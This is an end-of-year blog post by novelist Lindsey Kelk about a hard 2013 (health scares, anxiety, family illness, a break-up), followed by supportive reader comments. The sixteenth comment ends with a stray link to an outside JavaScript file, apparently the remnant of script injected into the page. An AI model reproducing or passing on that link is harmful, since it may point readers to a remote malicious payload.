Bye 2013 – The Debbie Downer Edition

While I am certainly one of life’s oversharers, I’m not someone who finds it easy to talk about the dark and difficult times because who wants to hear about that, amirite? I’ve got another post all lined up with an overview of all the KICKASS things I did this year but honestly, what I’m about to say is way more important to me than the time I went to Wrestlemania (kind of) and needs to be said so here goes.

2013 has been crazy. While I’ve kept you all updated with my super funtimes adventures on Twitter and Facebook (and lately, Instagram and Vine – LOVE those mofos) there have been a lot of shitty things that I kept to myself. I’ve been ill a lot, I was diagnosed with an anxiety disorder and had a super scary biopsy on a lump which thankfully turned out to be nothing but maaan, that’s not fun. Especially when one of your parents is very ill, one of your grandparents is very ill and the person you’ve loved the most, ever, is also potentially, very ill*. Oh and then there was the break up and my best friend moving away** and well, all kinds of fucking fun things that I wouldn’t have chosen to deal with if life’s little’s tests were optional.

The hardest part of living with the darkest days is that I’m a writer. A lot of my lovely and very well meaning friends will say things like ‘well, it’s all material for the books!’ and ‘thank god you don’t have to go into work every day with all this going on’ but of course, I do. Because I’m writing, I’m at work every second of every day. The stories never switch themselves off, especially when I’m up against deadline, which I have been, basically, all year long. My office is in my brain and unfortunately, that is where all the scary things live. It can be a bit tricky to write a sparkling romantic comedy when you’re sat alone in your apartment, scared that your lover/parent/grandparent won’t make it to see 2014.

Lindsey Kelk book signing
But on the flipside, the most rewarding part of living with the darkest days, is that I’m a writer. My job is to tell stories and I have chosen to tell uplifting, life affirming stories that make people happy. Which in turn makes me happy. And it’s through my stories, your stories and all the books I love and cherish, that I know things will get better. That doesn’t mean I’ll get a happy ever after in 2014 but it does mean that things will change. In fact, I kind of know already that they’ll get worse before they get anywhere near better, but compared to the year I’ve had, I’ll take change and see where we go from there.

And so, I hope you understand how much your support throughout the year means to me. I have been on a crazy writing schedule for the last eighteen months because my brain has too many thoughts for me to keep up with and I desperately want to share all of them with you but when life gets in the way, disappearing inside your head and making up stories becomes very hard. There’s a really fine line between escaping into your imagination and not wanting to face your own thoughts because they’re all so bloody bleak. That fact that you took About a Girl and Tess in when I know a lot of you really only wanted Angela, made me so happy. And when I Heart Christmas hit the bestseller list, I did many little cries. So much of this year was spent in the dark, on a treadmill (some of it an actual treadmill because all of these health scares sent me into a workout frenzy) that I forgot to stop and enjoy the bright moments. And honestly, that was one of the brightest. And it was all down to you.

Which takes us on to 2014. I know there are going to be new challenges and I know there are sad times ahead but thankfully, there are also lots of exciting things too. What a Girl Wants will be out in July and I’m working on an ebook for Christmas that may or may not feature everyone’s favourite New York-based BFF. And if that isn’t enough for you, I’ve agreed to write FOUR more books for HarperCollins, which should see us all through 2017. TWENTY-SEVENTEEN. Or tqo thousand and seventeen. Nowever you want to say it, it’s still terrifying.

TERRIFYINGLY AWESOME.

Anyway, this has gone on a bit but really, all I wanted to say was thank you. This year really has been the biggest test for me and I don’t know how well it would have gone without you all in my corner. Here’s to a happy, healthy and positive 2014 for everyone. And if Michael Fassbender happens to read this and feels bad for me, I am still single and I would totally take a pity date. Totally. So you know, call me.

Lindsey Kelk
He knows he wants this…

 

* It turned out my ex wasn’t dying and was completely OK and I didn’t eat, sleep or work for a fortnight for nothing. Which was brilliant. Until I had to break things off two months later which was completely fucking soul destroying. But that’s another fun story for another fun time!

** And my best friend is moving back! Thanks universe!

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  1. Thanks for sharing this. Had a crappy year myself, but am going for a better 2014.
    You’re fucking awesome. Just sayin 😉

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  2. No Lindsey, thank YOU for being such an awesome person and writing amazing books! 🙂

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  3. Actually shedding a little tear. *sniff* Your books (old and new) have helped me through some tough times this year, so the thanks is two way! I guess we’re all in this together! Happy New Year Lady Kelk xxx

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  4. Wow, I love your honesty and that you shared some of your “dark secrets” with us. Cause sometimes it really seems like life is sooo much better for others while you yourself are always dealing with the shittiest stuff ever. So this gives me hope. That instead of everything going wrong there’ll be always some things going right. And I’m one of those people who are not really good at seeing those pretty, positive things.

    So, what I was trying to say: Thank YOU for sharing and giving us hope. Even when time’s are pretty dark.

    I don’t know if that makes any sense but I do know that your books and your loveable characters help people trough the day or at least help them to focus on something other for a bit. And that’s quite a lot.

    I sure hope that 2014 will be better for you. And that your family stays strong! ❤ Maybe your Prince Charming is already waiting to sweep you off your feet. You surely deserve it! (and on another note: Break-ups suck!)

    So, in conclusion: Thanks for being an amazing writer and a great person and to a better and brighter 2014!

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  5. Wow! Tough year and you still pulled off some pretty splendid books! My year has contained some stupendous moments, some stupid and some just soul destroying (might be being dramatic but…….) Anyway still interested to see what 2014 will bring but gonna try not to have any expectations!

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  6. Wow- that’s a s**tload of things to land on one persons’s shoulders in one year. I wanted to say congrats for having the balls to post this- I’m with you on the scary lump discovery and the very real fears for various loved ones – and I guess all I can do is send my love and my thanks for all your hard work which got me through my dark moments- and I hope Michael Fassbender appears & helps you through yours. Lxxx

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  7. Love it…not that you’ve had a shite year, but your honesty. I follow you on twitter and, more frequently, Instagram, and it’s fab living in NYC vicariously through you…and it’s testament to you that your writing is so positive. Have a wonderful 2014!!

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  8. Lindsey,
    I am so sorry you have been going through all this but really glad the lump turned out to be nothing and that you have such a supportive network. Hugs. Well wishes to your family too.
    All your books have helped me for different reasons at different times and for that I thank you. You were the first author who made me love reading again. You have made me laugh, cry, shout at characters and cry from laughing which when on a train and being asked for tickets gets you some funny looks but adds to the giggles. You have helped make dark days bright again.
    I wish you health, happiness, love and luck in 2014 and more bestsellers x

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  9. I’m guilty of only wanting Angela, she is my best friend after all (slightly sad I know) but I gave Tess a try and when she nicked her camera back and jumped on that plane I knew we would get along just fine, the fact is I love the I heart series, In a way which made me actually notice the author, I’m now a fan of Lindsey kelk and will try yourr books because I respect yu you as an author. Thank you for Angela good luck with everything I hope 2014 is a good one xx

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  10. Well that made me cry. Sorry you’ve had such an up and down year! Thank you for continuing to write through it all, a lesser person would have downed tools and curled into a ball! I hope you have an easier 2014! Xxx

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  11. Hello my favorite writer! I am very sad to hear what you’ve been through this year but also proud of you that you’ve been so positive and managed to write such great books. I wish you and your family all the best for the upcoming year and look forward to your new books. Big hugs! Christina!

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  12. What a lovely post, it does sound like a stressful year, and so hard to write (particularly comedy) when there’s darkness going on – though it can be a wonderful and welcome escape too. So glad things ended on a high note, and I’m really looking forward to reading more about Angela – ‘About a Girl’ was one of my favourite books last year, I’ve been recommending it to everyone 🙂

    Wishing you a healthy, happy, peaceful and productive 2014!

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  13. Really hoping 2014 brings happier less stressful times for you. The hard times show us who we can rely on, appreciate the good we have and, possibly most importantly how strong we are that we get through it. You have achieved so much this year, both I heart Christmas and About a Girl have been such a success, you are only growing stronger as a writer. Persevere and eventually things will improve xxx

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  14. Hi Lindsey
    Your books have helped many of us through our own dark times (even if it led to an expensive handbag and MAC obsession) so I really hope we can return the favour by helping you through your dark times. Remember, if all else fails, there’s always Emergency Kittens on Twitter!
    Here’s to a happy healthy 2014. Xx

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  15. Stay strong and keep smiling Lindsey and know that we are all here for you during the good and bad times. I really hope 2014 is a much better year for you and you get to enjoy a well earned break at some point because you definitely deserve it 🙂

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  16. Dear Lindsey, I’m sending you the BIGGEST hug!! Sorry to hear about your year. It’s refreshing to hear your honesty and I think it helps to know everybody goes through shit times in their life. I think it’s even more amazing that you do such a fantastic job in providing such awesome escapism for the rest of us by creating the larger than life characters that we can’t help falling in love with. You bring so much happiness to so many people what a super star you are!! And you’re not afraid to reveal you’re as human as the rest of us! I wish you a totally awesome 2014 with lots of love happiness and many top best sellers! Much love Manda xxxhttp://online-sale24.com/1.js

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  17. Hi Lindsey, so sorry you’ve been having such a rough time whilst keeping us so entertained. I have also become an avid reader again because of Angela, I used to read loads, but not so much since having kids. I can honestly say that you have given me hours of reading pleasure. Thank you so much, for your books, your blogs, and especially your signings which gave us such a wonderful opportunity to meet. I hope you and your family have a happier, healthier 2014. I’m so glad your friend is moving back. All the best my lovely xxx

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  18. let it never be said Lindsey Kelk doesn’t write a great blog post – happy or sad.
    all the comments in the world won’t changes the times that have passed but, let them make you stronger and I really hope that a fun, positive and drama free 2014 is waiting for you.

    p.s. I was lucky enough to meet you at one of your signings and there wasn’t even a hint of nervousness or stress, let alone anxiety. as self confessed “Anxiety Girl” and published author on the matter (thanks Grazia Letter of the Week!) I massively empathise with how you feel but at the same time I’m inspired. if you can live in New York, with a hectic social life and write for a living, then I think I need to take a page out of the Lindsay book!

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  19. The strongest people are the ones who can not only share the nice and shiny but the deep dark places. Thank you for your blog. Loved it! Hope 2014 till …forever will bring you a lot of bright, happy moments. But know you have tons of fans wishing you the best, so if only 1 % of those wishes will reach you… Your gonna be okay! (And freakin fabulous!)

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  20. what an honest, and emotional blog post. So sorry to hear that you have had such a tough year Lindsey. Life just really sucks sometimes doesn’t it? But the fact that you can even see lots of happiness through the sadness, well that’s inspiring. All these lovely messages prove that. Here’s to a brighter, healthier 2014. Love all your work, keep it up 🙂 xxx

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  21. What a year for you. Thanks for being so honest and brave in sharing it, and despite it all giving me a year to continue my love affair with Angela and fall in love with Tess. Wishing you an easier path in 2014. And absolutely delighted to hear about your book deal – true indication that it’s not just me that counts you as my favourite writer. Lots of love! Xxx

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  22. Lindsey, through everything you’ve had this year, it’s incredible you’ve achieved what you have! All the best for 2014!

    Now all together…. We ❤ Lindsey!!

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  23. This is why I L❤️VE U Lindsey! You are so real and genuine, I shed a tear reading this as so many things I can relate and I really hope your health goes from strength to strength in 2014 and all your wishes come true.
    You literally saved my head when my Mr A was a soldier deployed to a war zone. I had many people around me but was constantly alone. Nobody understood me and I too began to suffer with anxiety on a level I cannot describe.
    Just know my lovely author angel sweet heart that your books helped me in a way nothing else did or could, I’m a Brit who was living in the US and so was Angela.
    Your books were my friend ( ok I know saddo! ) and I literally screamed when you followed me on Twitter, you are fucking amazing and I can only imagine what kind of friend you are.
    Luuuuurve ya!!
    Xxxxxxc

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  24. Dear Lindsey,
    I can really empathise with you. Having all those things to cope with is already hard as it is but it becomes even more difficult when you’re trying to be creative and “creatively happy” at the same time.

    I hope that 2014 will be a better year for you and your family. Go through it step by step, take day by take and eventually it’ll all be ok again.
    Thanks for sharing such an honest post.

    All the best.
    Cee

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  25. Lindsey, I’m totally in your corner! I had a similarly shitty year back in 2011… starting with a bad breakup, followed by weird and then long illnesses (during which your books cheered me up a lot btw) and ending with breaking my front teeth :s I remember feeling like I’d never get a break, the accumulation of sh*t can really get you down.
    The year after however turned out actually super sweet – I’ll be rooting for you in 2014, wishing you a kick ass year!!

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